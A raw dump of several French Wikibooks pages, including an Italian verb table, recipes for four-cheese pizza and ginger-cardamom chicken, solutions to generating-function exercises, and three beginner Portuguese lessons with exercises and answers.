align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Pass&eacute;'''</div> </td> <td width="27%"> <div align="center"></div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">starei</div> </td> <td width="26%"> <div align="center">sarei stato(a)</div> </td> <td width="27%"> <div align="center"></div> </td> <td width="24%"> <div align="center">stato(a)</div> </td> </tr> <tr> <td width="23%"> <div align="center">staresti</div> </td> <td width="26%"> <div align="center">saresti stato(a)</div> </td> <td width="27%"> <div align="center">sta</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">starebbe</div> </td> <td width="26%"> <div align="center">sarebe stato(a)</div> </td> <td width="27%"> <div align="center">stia</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">staremmo</div> </td> <td width="26%"> <div align="center">saremmo stati(e)</div> </td> <td width="27%"> <div align="center">stiamo</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%" height="13"> <div align="center">stareste</div> </td> <td width="26%" height="13"> <div align="center">sareste stati(e)</div> </td> <td width="27%" height="13"> <div align="center">state</div> </td> <td width="24%" height="13"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">starebbero</div> </td> <td width="26%"> <div align="center">sarebbero stati(e)</div> </td> <td width="27%"> <div align="center">stiano</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> </table> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td height="52"> <div align="center">'''INFINITIF'''</div> </td> <td height="52"> <div align="center">'''G&Eacute;RONDIF'''</div> </td> </tr> </table> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Pass&eacute;'''</div> </td> <td width="27%" bgcolor="#E6CCF2"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td width="24%" bgcolor="#BCE9A7"> <div align="center">'''Pass&eacute;'''</div> </td> </tr> <tr> <td width="23%"> <div align="center"`>stare</div> <td width="26%"> <div align="center">essere stato(a)</div> </td> <td width="27%"> <div align="center">stando</div> </td> <td width="24%"> <div align="center">essendo stato(a)</div> </td> </tr> </table> Image:Oclock.png 4501 16146 2005-07-05T11:34:37Z S3b 133 heures fixes heures fixes Image:Xpast.png 4502 16147 2005-07-05T11:35:49Z S3b 133 minutes avant 30 minutes avant 30 Image:Xto.png 4503 16148 2005-07-05T11:36:17Z S3b 133 minutes après 30 minutes après 30 Image:Half.png 4504 16149 2005-07-05T11:36:51Z S3b 133 x heures et demi x heures et demi Image:2clocks.png 4505 16150 2005-07-05T11:37:33Z S3b 133 deux exemples deux exemples Image:8heures26.png 4506 16151 2005-07-05T11:39:03Z S3b 133 8h26 8h26 Livre de Cuisine/Tartes et pizzas/Pizza aux quatre fromages 4509 46280 2006-06-28T11:06:35Z Nicombo 684 [[Catégorie:Tartes et pizzas|Pizza aux quatre fromages]] == Ingrédients == <table><tr><td> * 1 pâte à pizza * 1 dose de concassé de tomates * 100g de mozarella * 100g de gorgonzala * 100g de cheddar * 50g de comté </td><td>[[Image:Pizza aux quatres fromages.jpg|200px]]</td></tr></table> <table> </tr></td> == Préparation == # Etaler la pâte à pizza dans un moule supportant la cuisson au four. # Etaler le concassé de tomates sur la pâte. # Couper la mozzarella, le gorgonzola et le cheddar en dés. Raper le comté. # Disposer les trois premiers fromages en suivant un motif (ex : une croix pour le cheddar ...). Couvrir de comté. # Faire cuire au four pendant 15 min à 210°C. </td><td>[[Image:Pizza quatre fromages.jpg|200px]]</td></tr></table> AL SE Dénombrement et séries de puissances 4510 16183 2005-07-05T19:12:50Z Jim2k 289 Traduction de l'article anglais ==[[AL Dénombrement et séries de puissances|Dénombrement et séries de puissances]]== <blockquote style="padding: 1em; border: 2px dotted purple;"> Ces solutions n'ont pas été écrites par l'auteur du reste du livre. Elles sont simplement les réponses que je pense être correctes alors que je faisais les exercices. J'espère que ces réponses sont utiles pour quelqu'un et que mon travail sera corrigé si j'ai fait une faute </blockquote> ===Exercices sur les séries de puissances=== 1. :(a) <math> S = 1 - z + z^2 - z^3 + z^4 - z^5 + ... </math> ::<math> zS = z - z^2 + z^3 - z^4 + z^5 - ... </math> ::<math> (1+z)S = 1 </math> ::<math> S = \frac{1}{1+z} </math> :(b)<math> S = 1 + 2z + 4z^2 + 8z^3 + 16z^4 + 32z^5 + ... </math> ::<math> 2zS = 2z + 4z^2 + 8z^3 + 16z^4 + 32z^5 + ... </math> ::<math> (1-2z)S = 1 </math> ::<math> S = \frac{1}{1-2z} </math> :(c)<math> S = z + z^2 + z^3 + z^4 + z^5 + ... </math> ::<math> zS = z^2 + z^3 + z^4 + z^5 + ... </math> ::<math> (1-z)S = z </math> ::<math> S = \frac{z}{1-z} </math> :(d)<math> S = 3 - 4z + 4z^2 - 4z^3 + 4z^4 - 4z^5 + ... </math> ::<math> z(S+1) = 4z - 4z^2 + 4z^3 - 4z^4 + 4z^5 - ... </math> ::<math> S+z(S+1) = 3 </math> ::<math> S+zS+z = 3 </math> ::<math> (1+z)S = 3 - z </math> ::<math> S = \frac{3 - z}{1+z} </math> 2. :(a)<math> S = \frac{1}{1 + z} </math> ::<math> S = \frac{1}{1 - -z} </math> ::<math> S = 1 - x + x^2 - x^3 + x^4 - x^5 + ... </math> ::<math> f(n)=(-1)^n </math> :(b)<math> S = \frac{z^3}{1 - z^2} </math> ::<math> (1 - z^2)S = z^3 </math> ::<math> S = z^3 + z^5 + z^7 + z^9 + ... </math> ::<math> f(n) = 1 ; \mbox{pour n} \ge 2 \mbox{ et pair}</math> ::<math> f(n) = 0 ; \mbox{pour n impair}</math> <blockquote style="padding: 1em; border: 2px dotted purple;"> 2c contient seulement l'exercice et non la réponse pour le moment </blockquote> :(c)<math>\frac{z^2 - 1}{1 + 3z^3} </math> ====Exercices sur les relations de récurrence linéaire==== <blockquote style="padding: 1em; border: 2px dotted purple;"> Cette partie contient seulement des réponses imcomplètes. </blockquote> 1. :<math> \begin{matrix} x_n &=& 2x_{n-1}& - &1; \ \mbox{pour n} \ge 1\\ x_0 &=& 1 \end{matrix} </math> Soit G(z) la série de puissances de la suite décrite ci-dessus. :<math>G(z) = x_0 + x_1z + x_2z^2 + ...</math> :<math>(1-2z)G(z) = x_0 + (x_1-2x_0)z + (x_2-2x_1)z^2 + ...</math> :<math>(1-2z)G(z) = 1 - z - z^2 - z^3 - z^4 - ...</math> :<math>(1-2z)G(z) = 1 - z( 1 + z + z^2 + ...)</math> :<math>(1-2z)G(z) = 1-\frac{z}{1-z}</math> :<math>(1-2z)G(z) = \frac{1-2z}{1-z}</math> :<math>G(z) = \frac{1}{1-z}</math> :<math>x_n = 1</math> 2. :<math> \begin{matrix} 3x_n &=& -4x_{n-1}& + & x_{n-2}; \ \mbox{pour n} \ge 2 \\ x_0 &=& 1\\ x_1 &=& 1\\ \end{matrix} </math> Soit G(z) la série de puissances de la suite décrite ci-dessus. :<math>G(z) = x_0 + x_1z + x_2z^2 + ...</math> :<math>(3+4z-z^2)G(z) = 3x_0 + (3x_1+4x_0)z + (3x_2+4x_1-x_0)z^2 + (3x_3+4x_2-x_1)z^3 + ...</math> :<math>(3+4z-z^2)G(z) = 3x_0 + (3x_1+4x_0)z </math> :<math>(3+4z-z^2)G(z) = 3 + 7z </math> :<math>G(z) = \frac{3 + 7z}{-z^2+4z+3} </math> 3. Soit G(z) la série de puissances de la suite décrite ci-dessus. :<math>G(z) = x_0 + x_1z + x_2z^2 + ...</math> :<math>(1-z-z^2)G(z) = x_0 + (x_1-x_0)z + (x_2-x_1-x_0)z^2 + (x_3-x_2-x_1)z^2 + ...</math> :<math>(1-z-z^2)G(z) = 1</math> :<math>G(z) = \frac{1}{1-z-z^2}</math> :<math>G(z) = \frac{-1}{z^2+z-1}</math> :Nous voulons factoriser <math>f(z)=z^2+z-1</math> en <math>(z- \alpha)(z- \beta)</math> , si (z - p) est un facteur de f(z), f(p)=0. :Ainsi, <math>\alpha\,</math> et <math>\beta\,</math> sont les racines de l'équation quadratique <math>z^2+z-1=0</math> :En utilisant la formule quadratique pour trouver les racines : :<math>\alpha=\frac{\sqrt{5}-1}{2} , \beta=-\frac{\sqrt{5}+1}{2}</math> :En fait, ces deux nombres sont le célèbre nombre d'or et pour rendre les choses simples, nous utilisons les symboles grecs pour le nombres d'or à partir de maintenant. :Note :<math>\frac{\sqrt{5}-1}{2}</math> est noté <math>\varphi\,</math> et <math>\frac{\sqrt{5}+1}{2}</math> est noté <math>\Phi</math> :<math>G(z) = \frac{-1}{(z-\varphi)(z+\Phi)}</math> :Par la méthode des fractions partielles : :<math>G(z) = \frac{1}{\sqrt{5}(z+\Phi)} - \frac{1}{\sqrt{5}(z-\varphi)}</math> :<math>G(z) = \frac{1}{\Phi\sqrt{5}(\frac{z}{\Phi}+1)} - \frac{1}{\varphi\sqrt{5}(\frac{z}{\varphi}-1)}</math> :<math>G(z) = \frac{1}{\Phi\sqrt{5}(1- -\varphi z)} + \frac{1}{\varphi\sqrt{5}(1-\Phi z)}</math> :<math>x_n = \frac{\varphi}{\sqrt{5}} \times (-\varphi)^n + \frac{\Phi}{\sqrt{5}} \times \Phi^n</math> :<math>x_n = \frac{\Phi^{n+1} - (-\varphi)^{n+1}}{\sqrt{5}}</math> ===Exercices sur le dénombrement avancé=== 1. Nous savons que :<math>T(z) = \frac{1}{(1 - z)^2} = \sum_{i=0}^\infty {i+1 \choose i}z^i = \sum_{i=0}^\infty (i+1)z^i </math> Par conséquent :<math>T(z) = \frac{1}{(1 + z)^2} = \sum_{i=0}^\infty (i+1)(-1)^iz^i </math> :Ainsi :<math>T_k = (-1)^k(k+1)</math> 2. <math>a + b + c = m</math> :<math>T(z) = \frac{1}{(1 - z)^3} = \sum_{i=0}^\infty {i+2 \choose i}z^i</math> :Ainsi :<math>T_k = {i+2 \choose i}</math> ===Exercices sur la *dérivation*=== 1. :<math>f'(z) = \lim_{h \to 0}\frac{1} {(1 - (z + h))^2}-\frac{1} {(1 - z)^2} =</math> :<math>\lim_{h \to 0}\frac{1}{h}\frac{(1 - z)^2-(1 - (z + h))^2} {(1 - z - h)^2(1 - z)^2} =</math> :<math>\lim_{h \to 0}\frac{1}{h}\frac{z^2-2z+1-(z + h)^2+2(z+h)-1} {(1 - z - h)^2(1 - z)^2} =</math> :<math>\lim_{h \to 0}\frac{1}{h}\frac{z^2-2z+1-z^2-h^2-2zh+2z+2h-1} {(1 - z - h)^2(1 - z)^2} =</math> :<math>\lim_{h \to 0}\frac{1}{h}\frac{-h^2-2zh+2h} {(1 - z - h)^2(1 - z)^2} =</math> :<math>\lim_{h \to 0}\frac{-h-2z+2} {(1 - z - h)^2(1 - z)^2} =</math> :<math>\frac{-2z+2} {(1 - z)^4} =</math> :<math>\frac{-2} {(1 - z)^3}</math> Pizza aux quatre fromages 4512 46413 2006-06-28T20:59:26Z Guillaumito 46 correction double redirection #REDIRECT [[Livre de Cuisine/Tartes et pizzas/Pizza aux quatre fromages]] Enseignement du portugais: Lição 1 4513 24479 2005-10-28T18:08:05Z Erasmus 194 <table border="1"> <tr><td bgcolor="#EBC4BE"> == Dialogue 1== '''Ricardo''': Bom dia. O meu nome é Ricardo. Como está? <br> '''João''': Bem, obrigado. E você? <br> '''Ricardo''': Estou bem, obrigado. Como você se chama? <br> '''João''': Chamo-me João. <br> '''Ricardo''': Muito prazer. <br> '''João''': Adeus! <br> '''Ricardo''': Adeus! <br> </tr></td> </table> <b>Bom dia</b> - veut dire "bonjour". On peut aussi dire : <b>Olá</b> - salut <br> <b>boa tarde</b> - bon après-midi <br> <b>boa noite</b> - bonsoir. Donc, Ricardo (qui veut dire "Richard" en français) a commencé en disant "bonjour". Puis, il se présente. '''O meu nome é Ricardo''' - Mon prénom est Ricardo. <br> Pouvez-vous voir l'autre façon de dire à quelqu'un votre prénom ? '''Chamo-me João''' - Je m'appelle João Il répond à une question de Ricardo. '''Como você se chama? ''' - Comment t'/vous appelle/z tu/vous ? '''Como''' veut dire "Comment?", and '''você''' est un des mots pour "tu" ou "vous". Les mots pour "tu/vous" ne sont pas les mêmes en français qu'en portugais. ---- Recommencons à la première ligne. Ricardo demande '''Como está?''' Nous savons déjà ce que '''como''' veut dire. Le prochain mot, 'está' veut dire 'est'. Comme en français, un verbe (un mot qui exprime quelque chose qui est faite : par exemple, "courir") change pour chaque personne : en français, on dit "je VOIS" mais "nous VOYONS" - et c'est la même chose en portugais. On commence avec l'infinitif du verbe : par exemple... '''ESTAR - SER - TER - COMER - FALAR - ABRIR Être Être Avoir Manger Parler Ouvrir Maintenanat, il faut choisir le temps. Par exemple, veut-on dire "Je mange" ou "Je mangeais" - ou même, "J'ai mangé"). Nous commencerons avec le présent de l'indicatif - en français, le présent de l'indicatif c'est "Je mange". Regardons les conjugaisions du verbe "ESTAR". Nous avons déjà vu un des conjugaisions dans la dialogue : "está". '''ESTAR - Présent de l'Indicatif''' '''Eu estou''' - Je suis '''Tu estás''' - Tu es '''Você está''' - Tu/Vous es/êtes '''Ele/Ela está ''' - Il/Elle est '''Nós estamos''' - Nous sommes '''Vocês estão''' - Vous êtes (quand on parle à plus d'une personne) '''Eles/Elas estão''' - Ils/ Elles sont Regardez le dialogue. Ricardo dit 'Estou bem'. Nous pouvons voir que le premier mot veut dire 'suis'. '''Bem''' veut dire tout simplement 'bien'. Donc, nous avons 'Suis bien.' Nous manquons le 'je'! Mais, parce qu'en portugais il y a toujours un conjugation différente pour chaque personne, on n'est pas obligé de dire "je" - ou "tu/il/nous" etc. Avec les cas de 'je' et 'nous', c'est toujours pareil ce qui parle, donc on ne dit "eu" et "nós" que quand on a besoin de souligner qui parle. Il y a aussi toujours du désordre avec les trois formes de "tu/vous". * '''Tu''' – Est beacoup moins poli qu'en français - au Portugal, on ne l'utilise qu'avec des amis proches ou avec la famille. Au Brésil, on ne dit jamais "tu". * '''Você''' – Est le mot le plus populaire pour ‘tu/vous’. Mais on ne peut dire "você" que quand on parle à une personne. * '''Vocês''' – Comme você, mais on l'utilise quand on parle à plus qu'une personne. Il y a une autre forme de "vous" : '''Vós'''. Mais ce mot est très vieux donc seulement les vieilles personnes du Portugal du Nord et les vieux livres utilisent '''vós'''. Donc nous oublierons cette forme de "tu/vous". Mais si vous en avez besoin, toutes les pages de grammaire de ce Wikibook ont '''Vós''. - qui, je dois dire, est comme '''vocês''' - on l'utilise quand on parle à plus qu'une personne. '''Muito prazer''' veut dire ''Enchanté.''. '''Adeus''' veut dire ''au revoir''. <table border="1"> <tr><td bgcolor="#B0E0E6"> Travaillons ce que nous avons appris! '''Tranduisez ces phrases en Portugais.''' 1. Je m'appelle Luis. 2. Mon prénom est Helen. 3. Comment vas-tu ? (avec le 'tu' forme de «estar») '''Tranduisez ces phrases en français''' 4. Ele está bem. 5. Muito prazer. 6. Chamo-me Derek. 7. O meu nome é Jill. '''Réponses''' 1. Chamo-me Luis. 2. O meu nome é Helen 3. Como estás ? 4. Il va bien. 5. Enchanté(e) 6. Je m'appelle Derek 7. Mon prénom est Jill. </tr> </td> </table> Enseignement du portugais: Lição 2 4515 27175 2005-12-21T09:23:24Z 80.78.0.134 /* Dialogue 2 */ <table border="1"> <tr><td bgcolor="#EBC4BE"> == Dialogue 2== '''Ricardo''': Você gosta do chocolate? <br> '''João''': Sim, gosto do chocolate. E você? <br> '''Ricardo''': Sim, gosto. Gosta chocolate marrom ou chocolate branco? <br> '''João''': Eu e a minha esposa gostamos do chocolate preto. <br> '''João''': Até logo! <br> '''Ricardo''': Adeus! <br> </tr></td> </table> Encore, ne vous inquietez pas si vous ne comprenez rien. Mais il y a quelques phrases dont les mots sont évidents. '''o chocolate''' - signifie '''le chocolat'''. Le '''o''' veut dire ''le''. En portugais, comme en français, un mot peut être soit masculin soit féminin. Regardez ces phrases-ci. <table> <tr><td bgcolor="#EEE8AA"> '''o pêssego''' - la pêche (masculin) '''os gatos''' - les chats (masculin, pluriel) '''a casa''' - la maison (féminin) '''as árvores''' - les arbres (féminin, pluriel) </tr></td> </table> Notez bien : bien qu'on dit «la pêche» en français - féminin - en portugais, le mot pour «pêche» est masculin. C'est la même chose avec «les arbres» - masculin en français mais feminin en portugais. Donc, on ne peut pas assumer que, si un mot est masculin en français il est masculin en portugais. La deuxième chose, c'est qu'il y a deux mots pour «les» en portugais: '''os''' est pour les mots masculins et pluriels et "as" pour les mots féminins et pluriels. Comme en français, ce n'est pas juste les articles qui changent. Les adjectifs changent aussi. Plus d'exemples... <table> <tr><td bgcolor="#EEE8AA"> '''o gato é roxo''' - le chat est violet. '''os pêssegos são roxos''' - les pêches sont violettes. '''a casa é roxa''' - la maison est violette '''as árvores são roxas''' - les arbres sont violets </tr></td> </table> Notez bien - le "o" dans "roxo" est le même que le mot pour "le", c'est-à-dire, "o". Comment mettre un adjectif au pluriel ? Mettez un '''s''' - ''amarel'''''os''' and ''amarel'''''as'''. Exercez-vous maintenant. <table border="1"> <tr><td bgcolor="#B0E0E6"> '''Complétez cette table, pour le mot '''''vermelho''''' - qui veut dire «rouge»''' 1. Masculin (rouge) = ______________ 2. Féminin (rouge) = ______________ 3. Masculin pluriel (rouges) = ______________ 4. Féminin pluriel (rouges) = ______________ '''Complétez les phrases suivantes en transformant l'adjectif, (qui est dans les parenthèses, masculin) 5. As meninas são _________ (bonito) - ''Les filles sont belles'' 6. O gato é __________ (branco) - ''Le chat est blanc'' 7. Os tios são __________ (educado) - ''Les oncles sont polis.'' 8. A casa é __________ (bonito) - ''La maison est belle.'' '''Réponses''' 1. vermelho 2. vermelha 3. vermelhos 4. vermelhas 5. bonitas 6. branco 7. educados 6. bonita </tr> </td> </table> <table><tr><td bgcolor="#EED2EE"> Before we move on to even more difficult ideas, let's have another quick pronunciation tip: the "lh" in '''vermelho''' is pronounced in Portuguese like the "ll" in the English word ''billiard'' or ''million''. That is to say, it sounds like an "l" followed by a "y". </td></tr></table> Trois choses avant de continuer : 1. Le verbe '''SER''' <br> Est-ce que vous vous rappellez que je vous ai dit que le verbe correspondant à «être» était '''estar''' ? Pourquoi alors ai-je dit '''a casa é roxa'''? Pourquoi est-ce que je n'ai pas dit '''a casa está roxa'''? Malheureusment, en portugais il y a deux verbes qui correspondent à «être». L'un est '''estar''' et l'autre est '''ser'''. Mais ils ne veulent pas dire la même chose. Regardons cette table-ci. '''SER - Présent de l'Indicatif''' '''Eu sou''' - Je suis '''Tu és''' - Tu es '''Você é''' - Tu es/Vous êtes '''Ele/Ela é ''' - Il/Elle est '''Nós somos''' - Nous sommes '''Vocês são''' - Vous êtes (mais, rappelez-vous - seulement quand on parle à/de plus d'une personne) '''Eles/Elas são''' - Ils/Elles sont Donc, quand est-ce qu'on utilise '''ser''' et '''estar''' ? <BR> * On peut se souvenir des origines de ces mots. '''Ser''' devient du mot latin "esse". En français nous avons le mot «essence» - et on utilise '''ser''' quand on veut parler de ce que quelque chose EST, qui va être toujours le même. Par exemple, le prénom.<BR> * '''Estar''' devient du mot latin '''stare''', dont on a le mot français «statut». '''Estar''' exprime COMMENT quelque chose est - fatigué, etc. Des exemples ? Bien sûr ! <table> <tr><td bgcolor="#EEE8AA"> '''SER''' '''O sol é amarelo.''' Le soleil est jaune. '''Meu nome é Jim.''' Mon prénom est Jim. '''Nós somos portugueses.''' Nous sommes portugais. </tr></td> </table> <table> <tr><td bgcolor="#EEE8AA"> Uses of '''ESTAR''' '''A cerveja está gelada.''' La bière est froide. '''Eu estou doente.''' Je suis malade. '''O livro está sobre a mesa.''' Le livre est sur la table. </tr></td> </table> Quand on parle de la localisation de quelque chose, on utilise : * '''ser''' si la chose est toujours là ou presque (comme un bâtiment) * mais '''estar''' si (comme une personne, ou un animal) elle bouge ou elle ne reste pas pendant longtemps. 2. La deuxième chose, et le but de cet article ! - comment dit-on qu'on aime quelque chose ? Dans le dialogue, Ricardo demande '''Você gosta do chocolat?''' Ça veut dire "Aimes-tu/Aimez-vous le chocolat ?" João répond, '''Sim, gosto do chocolat.''' Ça veut dire, "Oui, j'aime le chocolat." Donc nous avons une formule pour demander à quelqu'un s'il aime quelque chose. Nous pouvons aussi y répondre. <table style="text-align: left; height: 110px; width: 621px;" border="1" cellpadding="2" cellspacing="2"> <tr> <td style="width: 193px;" colspan="1" rowspan="4"><big>'''Voc&ecirc; gosta''' <br> ''Aimes-tu'' <br> ''Aimez-vous</big></td> <td style="width: 130px;">do <br> ''(du)'' </td> <td style="width: 129px;">chocolat <br> ''chocolate''</td> <td colspan="1" rowspan="4" style="width: 135px; text-align: center;"><span style="font-style: italic;"></span><big>'''?'''</big></td> </tr> <tr> <td style="width: 130px;">da <br> ''de la''</td> <td style="width: 129px;">bebida <br> ''boisson''</td> </tr> <tr> <td style="width: 130px;">dos <br> ''des''</td> <td style="width: 129px;">livros <br> ''livres''</td> </tr> <tr> <td style="width: 130px;">das <br> ''des''</td> <td style="width: 129px;">ma&ccedil;&atilde;s <br> ''pommes'</td> </tr> </table> La réponse sera <table style="text-align: left; height: 54px; width: 606px;" border="1" cellpadding="2" cellspacing="2"> <tr> <td> <big> '''Sim''', <br> ''Oui,''</td> <td>'''gosto''' <br> ''J'aime'' </big></td> <td colspan="1" rowspan="2">do/da/dos/das <br> ''du/de la/des''</td> <td style="width: 197px;" colspan="1" rowspan="2">chocolate/bebida/livros/ma&ccedil;&atilde;s <br> ''chocolat/boisson/livres/pommes''</td> </tr> <tr> <td><big>'''N&atilde;o,'''<br> ''Non,''</td> <td>'''n&atilde;o gosto''' <br> ''Je n'aime pas'' </big> </td> </tr> </table> Notez bien qu'en portugais, on dit «aimer DE/DU/DE LA/DES quelque chose» (gostar de...) au lieu de "aimer LE/LA/LES" comme en français. Comme en français (on ne peut pas dire «de le chocolat», il faut dire «DU chocolat») il faut contracter les mots pour "de" et "le/la/les". DE O > DO = du DE A > DA = de la DE OS > DOS = des DE AS > DAS = des That is all for Lesson 2. Have a little rest then see how you fare on [[Portuguese:Lesson Three - What Are You Going To Do?|Lesson Three.]] Enseignement du portugais: Lição 3 4517 24481 2005-10-28T18:22:32Z Erasmus 194 <table border="1"> <tr><td bgcolor="#EBC4BE"> == Dialogue 3== '''Ricardo''': Olá! Como vai? <br> '''João''': Bem, obrigado. E você? <br> '''Ricardo''': Bem. O que você vai fazer sabádo? <br> '''João''': Eu vou falar com a minha mãe. E você? <br> '''Ricardo''': Vou ir à cinema. <br> '''João''': Não vai nadar? . <br> '''Ricardo''': Não, eu e a minha esposa não gostamos de nadar. <br> '''João''': Eu e a minha família vamos nadar. <br> </tr></td> </table> Dans cet dialogue João et Ricardo parlent de ce qu'ils vont faire. Quel jour ? Alors, regardons les jours de la semaine avant de continuer. <table border="0" cellpadding="2" cellspacing="2" width="100%"> <tr> <td colspan="1" rowspan="2" align="center" bgcolor="#e4efed"><b>Os dias da semana</b></td> <td align="center" bgcolor="#cadbcc"><b>lundi</b></td> <td align="center" bgcolor="#cadbcc"><b>mardi</b></td> <td align="center" bgcolor="#cadbcc"><b>mercredi</b></td> <td align="center" bgcolor="#cadbcc"><b>jeudi</b></td> <td align="center" bgcolor="#cadbcc"><b>vendredi</b></td> <td align="center" bgcolor="#ebe8cc"><b>samedi</b></td> <td align="center" bgcolor="#ebe8cc"><b>dimanche</b></td> </tr> <tr> <td align="center" bgcolor="#cadbcc">segunda-feira</td> <td align="center" bgcolor="#cadbcc">ter&ccedil;a-feira</td> <td align="center" bgcolor="#cadbcc">quarta-feira</td> <td align="center" bgcolor="#cadbcc">quinto-feira</td> <td align="center" bgcolor="#cadbcc">sexta-feira</td> <td align="center" bgcolor="#ebe8cc">s&aacute;bado</td> <td align="center" bgcolor="#ebe8cc">domingo</td> </tr> </table> Notez : Si c'est pareil qu'on parle des jours il n'est pas necessaire de dire le 'feira'. Donc Ricardo dit '''Ricardo''': Olá! O que você vai fazer sabádo? Olá veut dire 'hello', d'accord. '''O que você vai fazer (sabádo) ?''' Cette phrase est très utile et veut dire 'Qu'est-ce que tu vas/vous allez faire(smaedi)?' Vous pouvez remplacer le 'sabádo' avec n'importe quel jour. La réponse sera quelque chose comme '''(Eu) vou (fazer, nadar, comer)''' Ça veut dire 'Je vais (faire, nager, manger)'. 'Vou' est une des conjugaisons du verbe '''ir''', qui veut dire «aller». Comme en français on peut dire ce qu'on fera en disant 'aller', en portugais - 'ir' pour parler au futur. Premièrement il faut apprendre les conjugaisons. '''IR - Temps de l'indicatif présent''' '''Eu vou''' - Je vais '''Tu vais''' - Tu vas '''Você vai''' - Tu vas/Vous allez '''Ele/Ela vai ''' - Il/Elle va '''Nós vamos''' - Nous allons '''Vocês vão''' - Vous allez '''Eles/Elas vão''' - Ils/Elles vont Comme en français le verbe est irrégulier. Donc, il faut que vous l'appreniez You may also recognize a word from the dialogue. Ricardo asked João, '''Como vai?''' - How are you going? This is another way to ask how someone is. Do you remember '''Como está?''' from the first lesson? Remember that '''como''' means "how". So '''como vai?''' literally means "How are you going?". It can be replied to exactly like "Como está". <table><tr><td bgcolor="#EED2EE"> <center> '''PRONUNCIATION TIP''' </center> You may be asking how the word '''vão''' is pronounced. Whenever an accent has a tilde (that's the squiggly thing above the "a") you ''nasalize'' the vowel. What this means precisely is very difficult to explain. If you speak French you will know how that (in French) the word ''marron'' is pronounced without the 'n' on the end. Instead the sound of the "o" comes out of your nose rather your mouth. With any luck we will be able to get some sound files up soon to show you this difficult pronunciation </td></tr></table> Now that we know how this verb conjugates for every person, we can use it to say what someone is going to do. <table border="1" cellpadding="2" cellspacing="2" height="129" width="559"> <tr> <td width="247"><big>Eu vou<br> <i>I am going...</i></big></td> <td colspan="1" rowspan="2" width="307"><big>nadar- <i>to swim</i><br> falar com um amigo - <i>to talk with a friend<br> </i>beber - <i>to drink<br> </i>ir &agrave; cinema - <i>go to the cinema</i><br> </big></td> </tr> <tr> <td width="247"> <big> N&oacute;s vamos<br> <i>We are going...</i> </big></td> </tr> </table> Of course you can use any of the conjugations we have learnt, not just '''eu vou''' and '''N&oacute;s vamos'''. Try out the following exercise <table border="1"> <tr><td bgcolor="#B0E0E6"> Fill in the following phrases using the appropriate form of the verb 'ir'. 1. '''Vocês ______ beber.''' - ''You (plural) are going to drink'' 2. '''Eu ______ comer domingo.''' = ''I am going to eat on Sunday.'' 3. '''Ricardo e João ______ ___________''' - ''Ricardo and João are going to swim''. {Hint: Which type of conjugation is the phrase "Ricardo and João"?) 4. '''____ vais falar com um amigo''' - ''You are going to talk with a friend'' 5. '''Ela ______ ler terça-feira.''' - ''She is going to read on Tuesday. 6. '''__ ______ tu ________ fazer ________?'' ''What are you going to do on Thursday? 7. '''______ _______ ___ ___ ________ ____________''' - You (use você) are going to go to the cinema on Friday. Answers 1. vão 2. vou 3. vão nadar 4. tu 5. vai 6. O que tu vais fazer quinto-feira? 6. Você vai ir &agrave; cinema sexta-feira. ''If you got the last sentence right, well done! You have sucessfully translated your first sentence from English to Portuguese'' </tr> </td> </table> The infinitive forms of verbs - like '''gostar''', '''ser''' and '''ir''' - are used quite a bit in Portuguese - but usually only when there is another verb before them. For instance, we know that we use the infinitive after the verb 'ir'. We also know how to say "I like something". But how do we say "I like to do something"? This is nearly as simple as saying "I am going to do something". Except here we use the verb '''gostar''' (remember, this means ''to like'') instead of '''ir''' - and we slip the word '''de''' in as well. <table border="1" cellpadding="2" cellspacing="2" height="129" width="559"> <tr> <td width="247"><big>Eu gosta<br> <i>I like</i></big></td> <td colspan="1" rowspan="2" width="307"><big>de ler- <i>to read</i><br> de falar - <i>to talk<br> </i>de dormir - <i>to sleep<br> </i>de ir &agrave; cinema com um amigo - <i>to go to the cinema with a friend</i><br> </big></td> </tr> </table> Cuisine:Recettes de cuisine indienne 4518 29103 2006-01-16T21:56:59Z 81.57.99.217 == [[Cuisine:Poulet au gingembre et cardamome|Poulet au gingembre et cardamome]] == ==== Ingrédients ==== * 1 escalope de poulet par personne * 75g de poudre d'amande * 1 oignon * 2 gousses d'ail * 2,5 cm de gimgembre * 4 capsules de cardamone * 1 cuillères à café de cumin moulu * 150 à 200ml de yaourt liquide (le yaourt à la grecque supporte mieux la cuisson) * 3 cuillères à soupe d'eau * 1 filet d'huile * 400g de riz (accompagnement) ==== Préparation ==== # Laver, éplucher et couper le gingembre. Le mixer avec l'aïl, la poudre d'amande et les 3 cuil. à soupe d'eau. # Couper les blancs de poulet en dés. # Faire revenir les blancs de poulet 7-8 min dans un filet d'huile. Les mettre de côté. # Dans la même poêle, faire revenir une dizaine de minutes les capsules de cardamone avec l'oignon épluché et coupé. Retirer la cardamone. # Ajouter le mélange de gingembre, d'eau et d'aïl, ainsi que le cumin. Mélanger constamment. # Incorporer le yaourt cuillère par cuillère. Ajouter le crème fraîche et le poulet. Laisser à feu doux encore 5-10 min. # Servir accompagné de riz. ---- Retour aux [[Cuisine:Recettes par pays|recettes par pays]] / au [[Livre_de_Cuisine|sommaire]] ---- Habitation éconologique 4519 44671 2006-06-16T13:45:16Z Boly38 136 REVERT : éconologique est un mot qui existe : http://fr.wikipedia.org/wiki/%C3%89conologie == Habitation éconologique: emplacement, isolation et chauffage == === [[Habitation éconologique: emplacement| Emplacement]] === === [[Habitation éconologique: isolation | Isolation]] === === [[Habitation éconologique: chauffage | Chauffage]] === # [[Habitation éconologique: chauffage#solaire | Chauffage solaire]] # [[Habitation éconologique: chauffage#bois | Chauffage au bois]] # [[Habitation éconologique: chauffage#pompe | Pompe à chaleur]] Image:Verbes irr.pdf 4522 16264 2005-07-08T20:19:59Z S3b 133 Livre de Cuisine/Tartes et pizzas/Pizza aux moules 4523 46282 